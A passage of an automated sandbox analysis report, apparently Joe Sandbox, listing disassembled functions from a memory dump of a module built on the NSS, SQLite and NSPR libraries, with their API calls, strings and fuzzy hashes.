Opcode Fuzzy Hash: 40554e8386ee5784695a16724dee70479c2c9ea1da72c6173ab1c9c7663126ea
Instruction Fuzzy Hash: E8018176B0507057E60191ADAD85AAB316E8B8765CB080031F90AEBB02F636DDDD46E2

Function 6CB349C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6CB25F34,00000A20), ref: 6CB349EC

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6CB25F34,00000A20,?,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB349F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6CB25F34,00000A20,?,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB34A06
free.MOZGLUE(?,?,?,?,?,6CB25F34,00000A20), ref: 6CB34A16
free.MOZGLUE(000A2CB6,?,?,?,?,6CB25F34,00000A20), ref: 6CB34A1C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: c932d9b3e12a12732d46e1756a0cf4eeed83bc142fbdfc213dbd9da9d6024146
Instruction ID: f374ede5dcd27a6581c013860f81b90580f594f22d99f782217e83b452ec2f7d
Opcode Fuzzy Hash: c932d9b3e12a12732d46e1756a0cf4eeed83bc142fbdfc213dbd9da9d6024146
Instruction Fuzzy Hash: 0E015E769001149FCB00CF69ECC4C967BBCEF8A2483448065E909CF701E731E948CBA1

Function 6CBA0930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6CBA0C83), ref: 6CBA094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CBA0C83), ref: 6CBA0974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0983
_PR_MD_UNLOCK.NSS3(?,?,6CBA0C83), ref: 6CBA099F
OutputDebugStringA.KERNEL32(?,?,6CBA0C83), ref: 6CBA09B2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 7c07ff79806ffb3c16ebda8347bcc400654a5eeccdac11e9688b7c8829b683ef
Instruction ID: 49cf711766f4a8fc34481f5a6c43422606ea52d4e70cb04421ed17ff0ec47659
Opcode Fuzzy Hash: 7c07ff79806ffb3c16ebda8347bcc400654a5eeccdac11e9688b7c8829b683ef
Instruction Fuzzy Hash: 1F016DF4705280AFDF00AF68EC85B5D3BB8EB46358F0C4905F4A683752D736D461CA15

Function 6CBA2A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBA2A5B
free.MOZGLUE(?), ref: 6CBA2A6D
strdup.MOZGLUE(?), ref: 6CBA2A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA2A96
PR_ExitMonitor.NSS3 ref: 6CBA2AB5

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: e078324e701826e8fe0fb811c556d87ae59b01e3853c675a911431ab2b677f04
Instruction ID: bfabf1c2064a4938556867cd8c91c8cdbf103d7c64757e1cbfcfcf9d6a59f8ac
Opcode Fuzzy Hash: e078324e701826e8fe0fb811c556d87ae59b01e3853c675a911431ab2b677f04
Instruction Fuzzy Hash: E5F086F5E051A067DE20AFA5FC0974A7634DB02688F090530D81D97704E722D919C6D3

Function 6CBAADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CBAA6D8), ref: 6CBAAE0D
free.MOZGLUE(?), ref: 6CBAAE14
DeleteCriticalSection.KERNEL32(6CBAA6D8), ref: 6CBAAE36
free.MOZGLUE(?), ref: 6CBAAE3D
free.MOZGLUE(00000000,00000000,?,?,6CBAA6D8), ref: 6CBAAE47

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: bbc405c7ce6882ec95cda8fb4cfaad33f2aa0f25570938e5f88fcd7f159e6abf
Instruction ID: 22b727db1896211446741404c43edd33a62c09a701ec3f0b34a18ed200d34279
Opcode Fuzzy Hash: bbc405c7ce6882ec95cda8fb4cfaad33f2aa0f25570938e5f88fcd7f159e6abf
Instruction Fuzzy Hash: FBF09C7610160557CA10AFA4E4089577B7CFF4DBB57240328E57A83940D731E116CFD5

Function 6CB62B20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00020C24,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB62B64

Strings

misuse, xrefs: 6CB62B58
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB62B4E
%s at line %d of [%.10s], xrefs: 6CB62B5D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 632333372-648709467
Opcode ID: 24f03d5492c12908569e16e1aeb122b01d5e71b3555211ea3a4a4595baafa925
Instruction ID: e315e3e9a988761b88c417e6e598c4181b269fde2a52827db1dbdc274e1f3107
Opcode Fuzzy Hash: 24f03d5492c12908569e16e1aeb122b01d5e71b3555211ea3a4a4595baafa925
Instruction Fuzzy Hash: C951F170B002864BFB04CFAAC8897EEB7A2EF49318F184229C819D7F41D7259845C793

Function 6CA24AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6CA24C2B

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CA24C24
winWrite2, xrefs: 6CA24C01
winWrite1, xrefs: 6CA24BC2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-1808655853
Opcode ID: 769d5cd43591f97123d52a94841803e2d15be7eb19acc83e5d11cd3d2b13bdc5
Instruction ID: 87ced66b78a6f8497e970be55f87148f88c344a3b0a3bb8a3f55486575107c15
Opcode Fuzzy Hash: 769d5cd43591f97123d52a94841803e2d15be7eb19acc83e5d11cd3d2b13bdc5
Instruction Fuzzy Hash: 6241D232B043059BD704CF29C841A5EBBF9EFC8364F188A29F8588B790E734D9448B82

Function 6CA26C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CA26D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA26D20
%s at line %d of [%.10s], xrefs: 6CA26D2F
database corruption, xrefs: 6CA26D2A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 45492318a9074b4d5b3f4a83b401de1c0e0f8e4a60319f4ad20dc004e4f82576
Instruction ID: 3eb87a7bb639d53faa188232a7a5c976e2c9d37babe7098fd0e18ed901c86ba0
Opcode Fuzzy Hash: 45492318a9074b4d5b3f4a83b401de1c0e0f8e4a60319f4ad20dc004e4f82576
Instruction Fuzzy Hash: AE213330604B199BC710CE1AC941B5AB7F6AF80318F28852CD8499BF51E374F9C9CB92

Function 6CB66B20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

sqlite3_snprintf.NSS3(?,6CB66AC0,6CBCAAF9,00000000,?,6CB66AC0,?), ref: 6CB66BA9
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB66AC0,?), ref: 6CB66BB2
sqlite3_snprintf.NSS3(?,6CB66AC0,OsError 0x%lx (%lu),00000000,00000000,?,6CB66AC0,?), ref: 6CB66BD9

Strings

OsError 0x%lx (%lu), xrefs: 6CB66BCE

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_free
String ID: OsError 0x%lx (%lu)
API String ID: 2089385377-3720535092
Opcode ID: f70a1331f58c74fc60cd3b01cf118363e77e065bede5cc3ecac4ebb63c338e6f
Instruction ID: ee31a3c4ac5e807c715b3d907fc660a1b17ff67aa9cb1e2afd3dbc220c5a1142
Opcode Fuzzy Hash: f70a1331f58c74fc60cd3b01cf118363e77e065bede5cc3ecac4ebb63c338e6f
Instruction Fuzzy Hash: CA11D275A00145ABDB089FB9ED99DBF7BBDEF89749B04002CF40593B41DB305D04CAA2

Function 6CB5CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CB5CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB5CC7B), ref: 6CB5CD7A
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CD8E
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CDA5
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CB5CCB5
memcpy.VCRUNTIME140(6CBF14F4,6CBF02AC,00000090), ref: 6CB5CCD3
memcpy.VCRUNTIME140(6CBF1588,6CBF02AC,00000090), ref: 6CB5CD2B

Part of subcall function 6CA79AC0: socket.WSOCK32(?,00000017,6CA799BE), ref: 6CA79AE6
Part of subcall function 6CA79AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CA799BE), ref: 6CA79AFC

Part of subcall function 6CA80590: closesocket.WSOCK32(6CA79A8F,?,?,6CA79A8F,00000000), ref: 6CA80597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CB5CCB0

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: cfa92acc2d852307a02d04a7d90d6d63fa433fd679e69393210d256aaacaa7d1
Instruction ID: a21dec88f2b5254a7e3f886b7619dbccf6e4dae3314e4fb9edd22136d19858e9
Opcode Fuzzy Hash: cfa92acc2d852307a02d04a7d90d6d63fa433fd679e69393210d256aaacaa7d1
Instruction Fuzzy Hash: 8E1196F5B042C05FDB019FAAAC067567AB8D356318F181829E46ACFF41E771CC498BE2

Function 6CA7AB80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA7AB8A
PR_SetError.NSS3(FFFFE897,00000000), ref: 6CA7AC07

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_LogPrint.NSS3(connect -> %d,00000000), ref: 6CA7AC1A

Strings

connect -> %d, xrefs: 6CA7AC15

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$ErrorPrint
String ID: connect -> %d
API String ID: 1784924131-3487059786
Opcode ID: 3f36d8a6bf6be00f7c0f3f0a3fd75f6754780344bf8348af202a0c0ecdf4bfed
Instruction ID: a093986d008d584716ff5aa12efb207530dfb98020f9f9eba87c766bada2ca64
Opcode Fuzzy Hash: 3f36d8a6bf6be00f7c0f3f0a3fd75f6754780344bf8348af202a0c0ecdf4bfed
Instruction Fuzzy Hash: 23014975A00144BFF7202F68DC06BBA3B67FB82359F488674E8598BA51E731DCD486E1

Function 6CBA2BE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBA2BFA
PR_ExitMonitor.NSS3 ref: 6CBA2C2B
PR_LogPrint.NSS3(%s incr => %d (for %s),?,?,?), ref: 6CBA2C5D

Strings

%s incr => %d (for %s), xrefs: 6CBA2C58

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrint
String ID: %s incr => %d (for %s)
API String ID: 2736670396-2912983388
Opcode ID: 0893e8711f7f5cbfec9d519b90455a9298e883ef585292a70df6f4c4b4718767
Instruction ID: 4f1f1095883fe605543ef25fef464998fe6cd4206c2c9a99b3e719cc8b59459b
Opcode Fuzzy Hash: 0893e8711f7f5cbfec9d519b90455a9298e883ef585292a70df6f4c4b4718767
Instruction Fuzzy Hash: 8201F5B2A05180BBDB119E6AEC44A4B73B9EB4531CB084425E85DC3B00EB31EC4AC792

Function 6CA1A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CB4A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB6C3A2,?,?,00000000,00000000), ref: 6CB4A528
Part of subcall function 6CB4A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB4A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1A94F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1A939
%s at line %d of [%.10s], xrefs: 6CA1A948
database corruption, xrefs: 6CA1A943

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: a33a34a4625a4707cd1f07a25f542c7cb27494379daf698426f954fbbdc67d86
Instruction ID: 443907fc8cd23dfad40f46d815120f2056967c947d920c45d82273133567d886
Opcode Fuzzy Hash: a33a34a4625a4707cd1f07a25f542c7cb27494379daf698426f954fbbdc67d86
Instruction Fuzzy Hash: 9F012631B042085BD7008AB9DD01B9FB3F9AF48318F49447AE94A97F40D771AC4C8791

Function 6CAA8850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CAB0715), ref: 6CAA8859
PR_NewLock.NSS3 ref: 6CAA8874

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CAA888D

Strings

NSS, xrefs: 6CAA8887

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 7d92ac00cf4cb72cdcbf77a8b90fe8d7bb2a2b10f2fbee74f98d7b3fadcb36c9
Instruction ID: 0f497fc8f5303e24e86b84d591c3bf912b9ee10a4795518d22bdbcd9763b45fc
Opcode Fuzzy Hash: 7d92ac00cf4cb72cdcbf77a8b90fe8d7bb2a2b10f2fbee74f98d7b3fadcb36c9
Instruction Fuzzy Hash: 2AF0F666E4126023F21012E96D0EB8A75889F557DEF080031E90CA7B82EF52955E83F6

Function 6CA8C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6CA8CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA8CB4B
sqlite3_free.NSS3 ref: 6CA8CB70
sqlite3_result_error_nomem.NSS3 ref: 6CA8CB99

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: 5722a1448273a357fc0b9c894c2041bda132ce94af716cbec03ca199433dcb6c
Instruction ID: 801afdb8790b4bcba483bf190de04818852aea44c41ec80b5466c03697d7e7c9
Opcode Fuzzy Hash: 5722a1448273a357fc0b9c894c2041bda132ce94af716cbec03ca199433dcb6c
Instruction Fuzzy Hash: 4A51AE32A09B498BC711EF25C04016BF7F1EF86798F148B0DE8D56B550EB3484D9CB56

Function 6CB54FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CA385D2,00000000,?,?), ref: 6CB54FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB550C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB550D6

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
